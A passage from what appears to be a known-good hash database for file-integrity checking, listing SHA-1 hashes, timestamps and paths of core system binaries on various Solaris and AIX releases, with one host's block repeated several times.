Jan 22 20:26:34 2005 /usr/sbin/in.rshd [sol10sparc-8] +904DBABCC04FCC2FCD8370CB634652DE217E58E9 Sat Jan 22 21:22:52 2005 /usr/sbin/in.telnetd [sol10sparc-8] +BDA15B87D73E54140A1A6E6EFD283F1869C71F77 Sat Jan 22 21:21:25 2005 /usr/sbin/in.tftpd [sol10sparc-8] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /usr/sbin/modinfo [sol10sparc-8] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /usr/sbin/modload [sol10sparc-8] +D6CC7A7EBA293C97870765E103FA70E08AD3B4E8 Sat Jan 22 20:48:26 2005 /usr/ucb/ps [sol10sparc-8] + +1AC9CFCB63970607A9B62913491A97179E8EDEBC Sun Jan 23 01:48:10 2005 /bin/netstat [sol10sparc] + +CC850561C193F7DA82D27AF85847FCAF64A9230A Sat Jan 22 21:28:06 2005 /bin/cat [sol10x86-5] +0DAD5D5750B30D120CE322935ED57A6A339EAB4E Sat Jan 22 21:53:43 2005 /bin/compress [sol10x86-5] +21F480AD6930ACC05ECD3203C9F30588AB43BDD8 Sat Jan 22 21:28:08 2005 /bin/date [sol10x86-5] +EF2B08085E8974364400183599B235A0EDACE35C Sat Jan 22 21:28:08 2005 /bin/du [sol10x86-5] +6716DC7E90A49F5F9671B0B613A8F5D51F1841BB Sat Jan 22 21:28:09 2005 /bin/find [sol10x86-5] +934A87910FC2AB1E02A2223EBB09CD6465C3CEF5 Sat Jan 22 21:28:11 2005 /bin/grep [sol10x86-5] +6249EAAFFEC6BDBFC0BE3CBBE0330DC83E943819 Fri Jan 21 19:03:17 2005 /bin/kill [sol10x86-5] +A305F3715F7E9032E82A1793B34BADBB0EFE824E Sat Jan 22 21:53:45 2005 /bin/last [sol10x86-5] +A61D9437358E231606AB3B9EC440FE19BF2130A2 Sat Jan 22 21:28:13 2005 /bin/login [sol10x86-5] +B9955154B8C8D9B7BF222AB0A6F30C4958831950 Sat Jan 22 21:28:13 2005 /bin/ls [sol10x86-5] +ED514E89D0063700535725B456C95356B0351134 Sat Jan 22 21:28:14 2005 /bin/netstat [sol10x86-5] +E90287159C69854D179D49C97F2216C992FF2688 Sat Jan 22 21:28:28 2005 /bin/ps [sol10x86-5] +701355FC23B16835B2293BA79E21D4A57E54679F Sat Jan 22 21:28:15 2005 /bin/rm [sol10x86-5] +77FF4105C4B928D076532B4929E3587739238841 Sat Jan 22 21:28:16 2005 /bin/rpcinfo [sol10x86-5] +925AE46ED19FF5D4C2A650343D561153884CD589 Sat Jan 22 21:27:05 2005 /bin/sh [sol10x86-5] +8A3D173BE957B637536D95A8F3426ED7E30F1D04 Sat Jan 22 21:28:17 2005 /bin/su [sol10x86-5] +21C572F693F235BEB7BE906D836F9C8B14B3D643 Sat Jan 22 21:53:46 2005 /bin/sum [sol10x86-5] +40FAFD7A42E28FAB3B6DD9219C5D9FF066E060E5 Sat Jan 22 21:28:39 2005 /bin/tar [sol10x86-5] +8E420A4CA9D5C388EAAA5B9E680C238D59F0304F Sat Jan 22 22:13:33 2005 /bin/telnet [sol10x86-5] +BB5896CA216F960BD7C0FE7BDC93154E0B091BAF Sat Jan 22 21:28:16 2005 /bin/touch [sol10x86-5] +0DAD5D5750B30D120CE322935ED57A6A339EAB4E Sat Jan 22 21:53:43 2005 /bin/uncompress [sol10x86-5] +E90287159C69854D179D49C97F2216C992FF2688 Sat Jan 22 21:28:28 2005 /bin/w [sol10x86-5] +D3CC0CA4AD39E46AB2194587DF745FA48CC7F228 Sat Jan 22 21:28:18 2005 /bin/who [sol10x86-5] +6716DC7E90A49F5F9671B0B613A8F5D51F1841BB Sat Jan 22 21:28:09 2005 /usr/bin/find [sol10x86-5] +E90287159C69854D179D49C97F2216C992FF2688 Sat Jan 22 21:28:28 2005 /usr/bin/ps [sol10x86-5] +87DDB845211DC0271B5C507FD585E688BCD4101A Sat Jan 22 22:09:36 2005 /usr/bin/ssh [sol10x86-5] +8E420A4CA9D5C388EAAA5B9E680C238D59F0304F Sat Jan 22 22:13:33 2005 /usr/bin/telnet [sol10x86-5] +E90287159C69854D179D49C97F2216C992FF2688 Sat Jan 22 21:28:28 2005 /usr/bin/w [sol10x86-5] +D8EF110C2CF18DE7B05C83E8D71DC8CAE5EFCD33 Fri Jan 21 19:28:03 2005 /usr/bin/which [sol10x86-5] +2CAF5852FC16CF389D8C8F8578438188FF2A0C9F Sat Jan 22 21:28:32 2005 /usr/sbin/arp [sol10x86-5] +1580F924EC2DAB74B7E74D32C1CE57C386564DAA Sat Jan 22 21:28:34 2005 /usr/sbin/fuser [sol10x86-5] +4EDA789D47BBCAC7FCC3D5339BC046A8A5588CAD Sat Jan 22 21:28:28 2005 /usr/sbin/inetd [sol10x86-5] +E7A5DBAE45FBC6A42241ABECEB97EE5CE73A0341 Sat Jan 22 20:38:54 2005 /usr/sbin/in.ftpd [sol10x86-5] +278E6944CD5CFFE6F276E939FB0F53E807F7CFE3 Sat Jan 22 20:58:28 2005 /usr/sbin/in.rlogind [sol10x86-5] +D41168A08E3EA4D6D615E53098FEB8A3B355376F Sat Jan 22 20:58:28 2005 /usr/sbin/in.rshd [sol10x86-5] +B0141A39705E265B10024530B5050EC78205E257 Sat Jan 22 22:13:35 2005 /usr/sbin/in.telnetd [sol10x86-5] +2F38B16BF73098B325BD7D4D343F0F8491BB9E80 Sat Jan 22 22:12:23 2005 /usr/sbin/in.tftpd [sol10x86-5] +E90287159C69854D179D49C97F2216C992FF2688 Sat Jan 22 21:28:28 2005 /usr/sbin/modinfo [sol10x86-5] +E90287159C69854D179D49C97F2216C992FF2688 Sat Jan 22 21:28:28 2005 /usr/sbin/modload [sol10x86-5] +E90287159C69854D179D49C97F2216C992FF2688 Sat Jan 22 21:28:28 2005 /usr/ucb/ps [sol10x86-5] + +AFD2A6B5F95D0D9C2A8A6C422566FDDC0A8AF141 Mon Jul 10 07:23:34 2000 /bin/cat [sol8sparc-1] +49EFD3E5BB9AA8C78E1A8C447BBE0E8F7E5AFE7A Wed Jan 5 18:52:32 2000 /bin/date [sol8sparc-1] +40179A598708C9423058957C2C29D0309D3B2FA1 Mon Jul 10 07:24:08 2000 /bin/du [sol8sparc-1] +F28350F146025B277ED4DB5BBA78520CC6DC68EF Wed Jan 5 18:54:47 2000 /bin/grep [sol8sparc-1] +CDA6156F4C64A426AE5CF01084C0E58726E44FDC Wed Jan 5 18:57:23 2000 /bin/login [sol8sparc-1] +49BE2BAED323F187CF15D607757A2B86398B1C1A Wed Jan 5 19:05:19 2000 /bin/touch [sol8sparc-1] +38D61FD2434EA46C38A44396CF7205D2F0801F79 Wed Jan 5 19:25:26 2000 /usr/bin/which [sol8sparc-1] +00C80F4FEDB1A7B1249B28F5893AF037F80CC29D Thu Jun 8 12:08:34 2000 /usr/sbin/in.tftpd [sol8sparc-1] + +AFD2A6B5F95D0D9C2A8A6C422566FDDC0A8AF141 Mon Jul 10 07:23:34 2000 /bin/cat [sol8sparc-2] +49EFD3E5BB9AA8C78E1A8C447BBE0E8F7E5AFE7A Wed Jan 5 18:52:32 2000 /bin/date [sol8sparc-2] +40179A598708C9423058957C2C29D0309D3B2FA1 Mon Jul 10 07:24:08 2000 /bin/du [sol8sparc-2] +F28350F146025B277ED4DB5BBA78520CC6DC68EF Wed Jan 5 18:54:47 2000 /bin/grep [sol8sparc-2] +056264B6D0B44DE89747D4716F9E7D44EA3DC71D Tue Aug 19 17:04:40 2003 /bin/last [sol8sparc-2] +8925A986AC9AED4C3350A49CC8A31326A1E202AB Mon Feb 18 14:12:08 2008 /bin/login [sol8sparc-2] +A141F7724FD5649E501FC92969D6428D7A5526DD Tue Jan 6 14:44:10 2004 /bin/netstat [sol8sparc-2] +B45149B72D818F00B2886CD967EF725F2FBE1ED2 Sun Jan 14 13:55:41 2007 /bin/rm [sol8sparc-2] +5609761BF7407E6A80DF3332080CA0208F432CF9 Thu Mar 9 05:19:06 2006 /bin/sh [sol8sparc-2] +FAD616AD8D25EA6D17052BC90E63DD7FCF32218D Mon Feb 18 14:12:08 2008 /bin/su [sol8sparc-2] +715FC8A3458FDD0CD5B8D57053C0E28C83A44126 Fri Jul 21 08:02:36 2006 /bin/tar [sol8sparc-2] +48BDADD8282E18A82CB77E8F07BA2E8917D72B3D Fri Mar 25 22:42:12 2005 /bin/telnet [sol8sparc-2] +49BE2BAED323F187CF15D607757A2B86398B1C1A Wed Jan 5 19:05:19 2000 /bin/touch [sol8sparc-2] +4071C4033D750EE948F2A54D1C3433F330523B61 Tue Apr 3 07:46:06 2001 /bin/who [sol8sparc-2] +48BDADD8282E18A82CB77E8F07BA2E8917D72B3D Fri Mar 25 22:42:12 2005 /usr/bin/telnet [sol8sparc-2] +38D61FD2434EA46C38A44396CF7205D2F0801F79 Wed Jan 5 19:25:26 2000 /usr/bin/which [sol8sparc-2] +DDF30CDBF32A9348C25AD5C5C1FB5AC0EAE7B929 Thu Sep 27 12:18:14 2007 /usr/sbin/inetd [sol8sparc-2] +5FAD46926BCD0B0FBAB9CC6DB4B06696C28E8410 Mon Jun 11 12:56:41 2007 /usr/sbin/in.ftpd [sol8sparc-2] +85521FF325C0EA3F01C3BCDCB6CA23B4AFE5FCD9 Fri Mar 25 22:42:12 2005 /usr/sbin/in.telnetd [sol8sparc-2] +AFD2A6B5F95D0D9C2A8A6C422566FDDC0A8AF141 Mon Jul 10 07:23:34 2000 /bin/cat [sol8sparc-2] +49EFD3E5BB9AA8C78E1A8C447BBE0E8F7E5AFE7A Wed Jan 5 18:52:32 2000 /bin/date [sol8sparc-2] +40179A598708C9423058957C2C29D0309D3B2FA1 Mon Jul 10 07:24:08 2000 /bin/du [sol8sparc-2] +F28350F146025B277ED4DB5BBA78520CC6DC68EF Wed Jan 5 18:54:47 2000 /bin/grep [sol8sparc-2] +056264B6D0B44DE89747D4716F9E7D44EA3DC71D Tue Aug 19 17:04:40 2003 /bin/last [sol8sparc-2] +8925A986AC9AED4C3350A49CC8A31326A1E202AB Mon Feb 18 14:12:08 2008 /bin/login [sol8sparc-2] +A141F7724FD5649E501FC92969D6428D7A5526DD Tue Jan 6 14:44:10 2004 /bin/netstat [sol8sparc-2] +B45149B72D818F00B2886CD967EF725F2FBE1ED2 Sun Jan 14 13:55:41 2007 /bin/rm [sol8sparc-2] +5609761BF7407E6A80DF3332080CA0208F432CF9 Thu Mar 9 05:19:06 2006 /bin/sh [sol8sparc-2] +FAD616AD8D25EA6D17052BC90E63DD7FCF32218D Mon Feb 18 14:12:08 2008 /bin/su [sol8sparc-2] +715FC8A3458FDD0CD5B8D57053C0E28C83A44126 Fri Jul 21 08:02:36 2006 /bin/tar [sol8sparc-2] +48BDADD8282E18A82CB77E8F07BA2E8917D72B3D Fri Mar 25 22:42:12 2005 /bin/telnet [sol8sparc-2] +49BE2BAED323F187CF15D607757A2B86398B1C1A Wed Jan 5 19:05:19 2000 /bin/touch [sol8sparc-2] +4071C4033D750EE948F2A54D1C3433F330523B61 Tue Apr 3 07:46:06 2001 /bin/who [sol8sparc-2] +48BDADD8282E18A82CB77E8F07BA2E8917D72B3D Fri Mar 25 22:42:12 2005 /usr/bin/telnet [sol8sparc-2] +38D61FD2434EA46C38A44396CF7205D2F0801F79 Wed Jan 5 19:25:26 2000 /usr/bin/which [sol8sparc-2] +DDF30CDBF32A9348C25AD5C5C1FB5AC0EAE7B929 Thu Sep 27 12:18:14 2007 /usr/sbin/inetd [sol8sparc-2] +5FAD46926BCD0B0FBAB9CC6DB4B06696C28E8410 Mon Jun 11 12:56:41 2007 /usr/sbin/in.ftpd [sol8sparc-2] +85521FF325C0EA3F01C3BCDCB6CA23B4AFE5FCD9 Fri Mar 25 22:42:12 2005 /usr/sbin/in.telnetd [sol8sparc-2] +AFD2A6B5F95D0D9C2A8A6C422566FDDC0A8AF141 Mon Jul 10 07:23:34 2000 /bin/cat [sol8sparc-2] +49EFD3E5BB9AA8C78E1A8C447BBE0E8F7E5AFE7A Wed Jan 5 18:52:32 2000 /bin/date [sol8sparc-2] +40179A598708C9423058957C2C29D0309D3B2FA1 Mon Jul 10 07:24:08 2000 /bin/du [sol8sparc-2] +F28350F146025B277ED4DB5BBA78520CC6DC68EF Wed Jan 5 18:54:47 2000 /bin/grep [sol8sparc-2] +056264B6D0B44DE89747D4716F9E7D44EA3DC71D Tue Aug 19 17:04:40 2003 /bin/last [sol8sparc-2] +8925A986AC9AED4C3350A49CC8A31326A1E202AB Mon Feb 18 14:12:08 2008 /bin/login [sol8sparc-2] +A141F7724FD5649E501FC92969D6428D7A5526DD Tue Jan 6 14:44:10 2004 /bin/netstat [sol8sparc-2] +B45149B72D818F00B2886CD967EF725F2FBE1ED2 Sun Jan 14 13:55:41 2007 /bin/rm [sol8sparc-2] +5609761BF7407E6A80DF3332080CA0208F432CF9 Thu Mar 9 05:19:06 2006 /bin/sh [sol8sparc-2] +FAD616AD8D25EA6D17052BC90E63DD7FCF32218D Mon Feb 18 14:12:08 2008 /bin/su [sol8sparc-2] +715FC8A3458FDD0CD5B8D57053C0E28C83A44126 Fri Jul 21 08:02:36 2006 /bin/tar [sol8sparc-2] +48BDADD8282E18A82CB77E8F07BA2E8917D72B3D Fri Mar 25 22:42:12 2005 /bin/telnet [sol8sparc-2] +49BE2BAED323F187CF15D607757A2B86398B1C1A Wed Jan 5 19:05:19 2000 /bin/touch [sol8sparc-2] +4071C4033D750EE948F2A54D1C3433F330523B61 Tue Apr 3 07:46:06 2001 /bin/who [sol8sparc-2] +48BDADD8282E18A82CB77E8F07BA2E8917D72B3D Fri Mar 25 22:42:12 2005 /usr/bin/telnet [sol8sparc-2] +38D61FD2434EA46C38A44396CF7205D2F0801F79 Wed Jan 5 19:25:26 2000 /usr/bin/which [sol8sparc-2] +DDF30CDBF32A9348C25AD5C5C1FB5AC0EAE7B929 Thu Sep 27 12:18:14 2007 /usr/sbin/inetd [sol8sparc-2] +5FAD46926BCD0B0FBAB9CC6DB4B06696C28E8410 Mon Jun 11 12:56:41 2007 /usr/sbin/in.ftpd [sol8sparc-2] +85521FF325C0EA3F01C3BCDCB6CA23B4AFE5FCD9 Fri Mar 25 22:42:12 2005 /usr/sbin/in.telnetd [sol8sparc-2] +AFD2A6B5F95D0D9C2A8A6C422566FDDC0A8AF141 Mon Jul 10 07:23:34 2000 /bin/cat [sol8sparc-2] +49EFD3E5BB9AA8C78E1A8C447BBE0E8F7E5AFE7A Wed Jan 5 18:52:32 2000 /bin/date [sol8sparc-2] +40179A598708C9423058957C2C29D0309D3B2FA1 Mon Jul 10 07:24:08 2000 /bin/du [sol8sparc-2] +F28350F146025B277ED4DB5BBA78520CC6DC68EF Wed Jan 5 18:54:47 2000 /bin/grep [sol8sparc-2] +056264B6D0B44DE89747D4716F9E7D44EA3DC71D Tue Aug 19 17:04:40 2003 /bin/last [sol8sparc-2] +8925A986AC9AED4C3350A49CC8A31326A1E202AB Mon Feb 18 14:12:08 2008 /bin/login [sol8sparc-2] +A141F7724FD5649E501FC92969D6428D7A5526DD Tue Jan 6 14:44:10 2004 /bin/netstat [sol8sparc-2] +B45149B72D818F00B2886CD967EF725F2FBE1ED2 Sun Jan 14 13:55:41 2007 /bin/rm [sol8sparc-2] +5609761BF7407E6A80DF3332080CA0208F432CF9 Thu Mar 9 05:19:06 2006 /bin/sh [sol8sparc-2] +FAD616AD8D25EA6D17052BC90E63DD7FCF32218D Mon Feb 18 14:12:08 2008 /bin/su [sol8sparc-2] +715FC8A3458FDD0CD5B8D57053C0E28C83A44126 Fri Jul 21 08:02:36 2006 /bin/tar [sol8sparc-2] +48BDADD8282E18A82CB77E8F07BA2E8917D72B3D Fri Mar 25 22:42:12 2005 /bin/telnet [sol8sparc-2] +49BE2BAED323F187CF15D607757A2B86398B1C1A Wed Jan 5 19:05:19 2000 /bin/touch [sol8sparc-2] +4071C4033D750EE948F2A54D1C3433F330523B61 Tue Apr 3 07:46:06 2001 /bin/who [sol8sparc-2] +48BDADD8282E18A82CB77E8F07BA2E8917D72B3D Fri Mar 25 22:42:12 2005 /usr/bin/telnet [sol8sparc-2] +38D61FD2434EA46C38A44396CF7205D2F0801F79 Wed Jan 5 19:25:26 2000 /usr/bin/which [sol8sparc-2] +DDF30CDBF32A9348C25AD5C5C1FB5AC0EAE7B929 Thu Sep 27 12:18:14 2007 /usr/sbin/inetd [sol8sparc-2] +5FAD46926BCD0B0FBAB9CC6DB4B06696C28E8410 Mon Jun 11 12:56:41 2007 /usr/sbin/in.ftpd [sol8sparc-2] +85521FF325C0EA3F01C3BCDCB6CA23B4AFE5FCD9 Fri Mar 25 22:42:12 2005 /usr/sbin/in.telnetd [sol8sparc-2] + +2C0C6F8AA9F84CA60E025B7D57979A19FBC7948A Mon Jul 10 08:59:20 2000 /bin/cat [sol8x86] +94AABD66DA64CAAA7774344A277E4215C14CE490 Thu Mar 16 06:12:15 2000 /bin/compress [sol8x86] +CE5CB85A11BC488066032CCE50D01FD4BC372A8B Wed Jan 5 17:31:03 2000 /bin/date [sol8x86] +87301326CD0B1A043CBA8ED0E8218A19D0FF1122 Mon Jul 10 09:00:02 2000 /bin/du [sol8x86] +79E618026E34194C2996CDBF4C5B5D8DA6670958 Fri Jul 27 15:47:08 2001 /bin/find [sol8x86] +A8D4BB471D7CE456B4750376F2F5077AF9BCACC0 Wed Jan 5 17:36:40 2000 /bin/grep [sol8x86] +2DE50BE801D636A9FC12B45EB3C96971E00ABC07 Wed Jan 5 17:39:01 2000 /bin/kill [sol8x86] +5688007D4CE64A4BEB975D0A3B7B920374E27729 Tue Apr 3 07:23:33 2001 /bin/last [sol8x86] +EFF12DDB5D4F3B89BCD04FB2C0CCA7E0E934EC3D Mon Dec 17 12:25:21 2001 /bin/login [sol8x86] +D834CE3663214C6361F30A95955F103D90464BB9 Mon Dec 3 07:20:54 2001 /bin/netstat [sol8x86] +AF2A1449D2A61531E128A06EC47FAFFF135649BD Wed Jan 5 17:49:41 2000 /bin/rpcinfo [sol8x86] +D3D24223A293DFFE47D46C57F2E4FE2AE04AD747 Mon Nov 5 07:45:08 2001 /bin/sh [sol8x86] +ED98A3C16DDD4D63382B3657A53AA5ABC810BD95 Mon Nov 5 07:43:11 2001 /bin/su [sol8x86] +2BDB4D31BB9E9E85B97A42622D2BA1527AFD6F62 Wed Jan 5 17:56:25 2000 /bin/sum [sol8x86] +6EE61DACF97F36C12BD968D0A8F919758A84E62D Wed Feb 14 13:07:01 2001 /bin/tar [sol8x86] +786292F1EFE5E30F53D8D7DF329CBDFA8C97E3B6 Wed Jan 5 17:57:48 2000 /bin/touch [sol8x86] +94AABD66DA64CAAA7774344A277E4215C14CE490 Thu Mar 16 06:12:15 2000 /bin/uncompress [sol8x86] +4D04E0D35FD0EF9974E15C0C05C332EE9766F8F4 Tue Apr 3 07:23:47 2001 /bin/who [sol8x86] +79E618026E34194C2996CDBF4C5B5D8DA6670958 Fri Jul 27 15:47:08 2001 /usr/bin/find [sol8x86] +ED960AC6C869914A154B3106E4CE7AB9432DC7BE Wed Jan 5 18:04:39 2000 /usr/bin/which [sol8x86] +91D33B2F4F273C0E826D3C07C0AA9FBEE3B859E3 Wed Jan 5 17:34:22 2000 /usr/sbin/fuser [sol8x86] +D7510B670BB5B6EAFD949DF161978F7C83B806C9 Wed Jun 27 09:54:42 2001 /usr/sbin/inetd [sol8x86] +18A4013F0458E621F0E55CA6CFE4B147CB93B6F6 Fri Aug 31 10:09:22 2001 /usr/sbin/in.ftpd [sol8x86] +7215CBF99364DB36D75BCCFECC272201FE51CB3E Thu May 24 18:56:20 2001 /usr/sbin/in.rshd [sol8x86] +00A85B0D4BB5817F14022C4C8883B0AEBE6AE678 Thu Nov 30 08:42:41 2000 /usr/sbin/in.telnetd [sol8x86] +4495E7A0BECE654452DC9CF682662A2A738D9AC6 Tue Jul 10 13:22:52 2001 /usr/sbin/in.tftpd [sol8x86] + +4EB0533013D92BF23E610524D14E593EA249130D Sat Apr 6 17:44:37 2002 /bin/cat [sol9sparc-1] +CE9CDFD869866A792824D8E07402F080F3ECC04B Sat Apr 6 17:45:49 2002 /bin/compress [sol9sparc-1] +3F1D3A0FA3B477F3C0BDC5888AB863CC14BD3A4A Sat Apr 6 17:45:20 2002 /bin/date [sol9sparc-1] +D389A68859D25D9FDC37EBFB012BFD428570461F Sat Apr 6 17:47:02 2002 /bin/du [sol9sparc-1] +410E52FD73C20EE11C1EFEED001278E4DC5EC02B Sat Apr 6 17:49:12 2002 /bin/grep [sol9sparc-1] +6157F62278870015AC1C8E8F0C9419F9F845C614 Sat Apr 6 17:50:30 2002 /bin/last [sol9sparc-1] +73869AC51772798098E85E405E69E56619544F14 Sat Apr 6 17:54:09 2002 /bin/login [sol9sparc-1] +4081547EBC8075431DC1C49C88FB51C92E561701 Sat Apr 6 18:03:11 2002 /bin/rpcinfo [sol9sparc-1] +16087AD2D1461CFF1134487780DD7500ED325E07 Sat Apr 6 18:09:17 2002 /bin/sum [sol9sparc-1] +9215E9C456E6C2F9545D1A8BC29E05149C8AE91C Sat Apr 6 18:13:04 2002 /bin/tar [sol9sparc-1] +DEF48202FF90734406570397DFA35C6CA3117484 Sat Apr 6 18:11:19 2002 /bin/touch [sol9sparc-1] +CE9CDFD869866A792824D8E07402F080F3ECC04B Sat Apr 6 17:45:49 2002 /bin/uncompress [sol9sparc-1] +819565DF73F47C8DEFD330EDA4E4E99B7A41D491 Sat Apr 6 18:13:29 2002 /bin/who [sol9sparc-1] +D627B14F823E76CD0BA35ED793B57CF8EEA5C424 Sat Apr 6 18:09:21 2002 /usr/bin/ssh [sol9sparc-1] + +0D1FA7F98C464D30F7D0DBDBCA531E7C5CDA5386 Mon Nov 4 05:08:17 2002 /bin/cat [sol9x86-2] +ACE6393DEDE1BED7E326DEBC0E1B50AC47E23A5E Mon Nov 4 05:09:00 2002 /bin/compress [sol9x86-2] +DCE6FFB159CD04A550210045703397DE1FDB509C Mon Nov 4 05:14:44 2002 /bin/date [sol9x86-2] +C055C67BAF1F4D02F5B336C6738DFE9A3AC2334E Mon Nov 4 05:15:34 2002 /bin/du [sol9x86-2] +C82210194984E69C700EF9D65736B9B6A0C5BA74 Mon Nov 4 05:16:29 2002 /bin/find [sol9x86-2] +4839F28E65EDB651B2031874B2328B93F619E4D7 Mon Nov 4 05:21:19 2002 /bin/grep [sol9x86-2] +6249EAAFFEC6BDBFC0BE3CBBE0330DC83E943819 Mon Nov 4 05:24:20 2002 /bin/kill [sol9x86-2] +9F11648102E11B4E7C44F3B3637CFEAB717E53DD Mon Nov 4 05:24:58 2002 /bin/last [sol9x86-2] +D50F0F53118BFA9179C222E1733ADAD792EAE174 Mon Nov 4 05:26:08 2002 /bin/login [sol9x86-2] +EB1DA8F3D00A8D0D88E18B52C145F4A581495A55 Mon Nov 4 05:26:16 2002 /bin/ls [sol9x86-2] +2EAFB1E6C4915575ADED1BB5CE7B3B402C7930A7 Mon Nov 4 05:11:27 2002 /bin/netstat [sol9x86-2] +A21A5927224A628AF1C7291E77FA226FCFB2CF4A Mon Jan 6 21:36:04 2003 /bin/ps [sol9x86-2] +54E890DAC9DDD74EF0863FCE4388DB27368550C6 Mon Nov 4 05:33:41 2002 /bin/rm [sol9x86-2] +C65C4229370648BE1A558412F3319C19799D7089 Mon Nov 4 05:34:12 2002 /bin/rpcinfo [sol9x86-2] +181AFA0826BD196DB103647C546BD90619D4CFA6 Mon Nov 4 05:38:53 2002 /bin/sh [sol9x86-2] +AAC8D8A43E6D438650D3F361AA439F2BB84B2F1D Mon Nov 4 05:40:13 2002 /bin/su [sol9x86-2] +84D6C6314BEE772534EBC5A8EBACDCF53C57D193 Mon Nov 4 05:40:23 2002 /bin/sum [sol9x86-2] +2A6E99D10B8D928243C57DBBA7948FFA5EBA9552 Mon Nov 4 05:42:40 2002 /bin/tar [sol9x86-2] +7943AE9AEF71498E04A03E77B9D327CED4849BCF Mon Nov 4 05:11:41 2002 /bin/telnet [sol9x86-2] +B9D47B83513FC1CF247AEAB6EB18154452286108 Mon Nov 4 05:43:47 2002 /bin/touch [sol9x86-2] +ACE6393DEDE1BED7E326DEBC0E1B50AC47E23A5E Mon Nov 4 05:09:00 2002 /bin/uncompress [sol9x86-2] +A21A5927224A628AF1C7291E77FA226FCFB2CF4A Mon Jan 6 21:36:04 2003 /bin/w [sol9x86-2] +02DB66B5A6C1F1A22692FAC52FD28359B78E2B7B Mon Nov 4 05:45:52 2002 /bin/who [sol9x86-2] +C82210194984E69C700EF9D65736B9B6A0C5BA74 Mon Nov 4 05:16:29 2002 /usr/bin/find [sol9x86-2] +A21A5927224A628AF1C7291E77FA226FCFB2CF4A Mon Jan 6 21:36:04 2003 /usr/bin/ps [sol9x86-2] +7189C7AB263E2FE06D3E04BEACB9667B4F412C88 Mon Feb 3 14:04:08 2003 /usr/bin/ssh [sol9x86-2] +7943AE9AEF71498E04A03E77B9D327CED4849BCF Mon Nov 4 05:11:41 2002 /usr/bin/telnet [sol9x86-2] +A21A5927224A628AF1C7291E77FA226FCFB2CF4A Mon Jan 6 21:36:04 2003 /usr/bin/w [sol9x86-2] +D8EF110C2CF18DE7B05C83E8D71DC8CAE5EFCD33 Mon Nov 4 05:45:45 2002 /usr/bin/which [sol9x86-2] +CF7B058A9A089DD6F4F40614AD9CC89A78129335 Mon Nov 4 05:13:30 2002 /usr/sbin/arp [sol9x86-2] +06A7A077BDFBA67DD300A08183932AD9D063C472 Mon Nov 4 05:18:08 2002 /usr/sbin/fuser [sol9x86-2] +C84FEF6E26434C081D55F45BB8713EB7DE17C438 Mon Nov 4 05:13:35 2002 /usr/sbin/inetd [sol9x86-2] +6CB1D91675A0A012FC6C9A2E6BC5594742945167 Thu Feb 6 21:19:16 2003 /usr/sbin/in.ftpd [sol9x86-2] +65F432AAA829FEFBFEC273E9C3F9B9E31FCE9CC8 Mon Nov 4 05:13:35 2002 /usr/sbin/in.rlogind [sol9x86-2] +3CE71E3278956D3EA147BE8411E30892BFE65DEC Mon Nov 4 05:13:35 2002 /usr/sbin/in.rshd [sol9x86-2] +D3F50E78DB9C255B46431FED40A2EA4ABE1B7AD2 Wed Mar 5 23:50:12 2003 /usr/sbin/in.telnetd [sol9x86-2] +076A0C7F3C87208B8233CA6047EC326E06C7E0F6 Mon Dec 9 19:50:53 2002 /usr/sbin/in.tftpd [sol9x86-2] +E78F098E7F9309C561DFB2FEA38331DF48717D81 Mon Nov 4 05:29:34 2002 /usr/sbin/modinfo [sol9x86-2] +FADDBE7B4F78F67791AF71CE6ACAE2E5A28B034C Mon Nov 4 05:29:34 2002 /usr/sbin/modload [sol9x86-2] +A21A5927224A628AF1C7291E77FA226FCFB2CF4A Mon Jan 6 21:36:04 2003 /usr/ucb/ps [sol9x86-2] + +0521D96917B6FF324587A235F8A0B0653CEEEC09 Sun Apr 8 09:50:58 2001 /bin/find [AIX 5 1] +68397D95E8E7A4B9AB5348EB21C044521C33D80B Sun Apr 8 10:13:59 2001 /bin/ls [AIX 5 1] +B71E329038332DD5132D147A0EF14EEEBB3E32B8 Sun Apr 8 10:03:15 2001 /bin/netstat [AIX 5 1] +EA6E1665C6AF7F00BBEBFD4466551186D473862F Sun Apr 8 09:35:51 2001 /bin/ps [AIX 5 1] +59C2111302B84173A0DD0888F329A90B4F8E3F6E Sun Apr 8 09:50:12 2001 /bin/rm [AIX 5 1] +51FD55C439FBE7A15381CA3327545000B266B448 Sun Apr 8 09:44:19 2001 /bin/sh [AIX 5 1] +3B474091E04176C7F5E1E240964DFC53C232AFD4 Sun Apr 8 09:18:42 2001 /bin/su [AIX 5 1] +F1BD12FA1BA067F1D07F94894DAF30B2409182E0 Sun Apr 8 12:42:54 2001 /bin/telnet [AIX 5 1] +D8A5879099659981C1091C5C9E6E93874E1ABF33 Sun Apr 8 10:03:37 2001 /bin/w [AIX 5 1] +0521D96917B6FF324587A235F8A0B0653CEEEC09 Sun Apr 8 09:50:58 2001 /usr/bin/find [AIX 5 1] +F1BD12FA1BA067F1D07F94894DAF30B2409182E0 Sun Apr 8 12:42:54 2001 /usr/bin/telnet [AIX 5 1] +D8A5879099659981C1091C5C9E6E93874E1ABF33 Sun Apr 8 10:03:37 2001 /usr/bin/w [AIX 5 1] +7285286B489A9A4B197498CC843702759D3F0172 Sun Apr 8 09:30:53 2001 /usr/sbin/arp [AIX 5 1] +219D27AEBFB183EBA20C7E52C9F04D33D3A119FB Sun Apr 8 12:45:06 2001 /usr/sbin/ftpd [AIX 5 1] +3F2D07D728B61F53576970F370C72BE3D48C70D5 Sun Apr 8 12:47:21 2001 /usr/sbin/tftpd [AIX 5 1] +B71E329038332DD5132D147A0EF14EEEBB3E32B8 Sun Apr 8 10:03:15 2001 /usr/sbin/netstat [AIX 5 1] +F7ED0C8EF6CE65CB679B4B5F746880CD508B9C35 Sun Apr 8 12:47:31 2001 /usr/sbin/krlogind [AIX 5 1] +FACA7BDB97D6D396758AF5A1CAFD07F2D9255A0D Sun Apr 8 12:45:21 2001 /usr/sbin/rlogind [AIX 5 1] +BE9682C4ACC1848AD6C2E3262513113E760842D7 Sun Apr 8 12:48:57 2001 /usr/sbin/krshd [AIX 5 1] +ABB55A659397F99A89E2C7F14E02A68BFA796CD8 Sun Apr 8 12:48:19 2001 /usr/sbin/rshd [AIX 5 1] +6BDE5224ABA1E70E29A66AE5E53DE00C99DF04AF Sun Apr 8 12:46:27 2001 /usr/sbin/telnetd [AIX 5 1] +6665BEE0AC0342909C7208A1CF5D9E4F94ADB487 Sun Apr 8 10:20:46 2001 /bin/login [AIX 5 1] + +346671CD29C7AF648F3C8960A172785A23971DE8 Sun Apr 8 12:49:33 2001 